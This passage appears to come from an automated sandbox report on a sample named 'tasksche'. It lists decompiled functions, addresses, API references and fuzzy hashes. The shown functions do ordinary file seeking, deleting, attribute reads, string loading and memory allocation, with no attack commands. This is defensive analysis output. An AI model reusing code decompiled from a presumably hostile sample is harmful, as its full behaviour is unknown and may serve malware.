						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x004012ef
0x004012fb
0x004012fd
0x00401300
0x00401303
0x00401306
0x00401309
0x0040130d
0x0040130e
0x00401311
0x00401318
0x0040132f
0x00401330
0x00401337
0x0040133c
0x00401343
0x00401345
0x0040134a
0x00401351
0x00401362
0x00401369
0x0040138a
0x0040136b
0x0040136b
0x00401373
0x0040137c
0x0040137c
0x00401353
0x0040135b
0x0040135b
0x0040139a
0x0040139f
0x004013a3
0x004013a4
0x004013a6
0x004013a9
0x004013ae
0x004013af
0x0040131a
0x0040131a
0x0040131d
0x0040131f
0x00401322
0x00401327
0x00401328
0x00401328
0x004013b6
0x004013be

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x7
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D0,00000200), ref: 0040C422

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E4(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E0041AAF0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409126

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32 ref: 0040DE44

Memory Dump Source

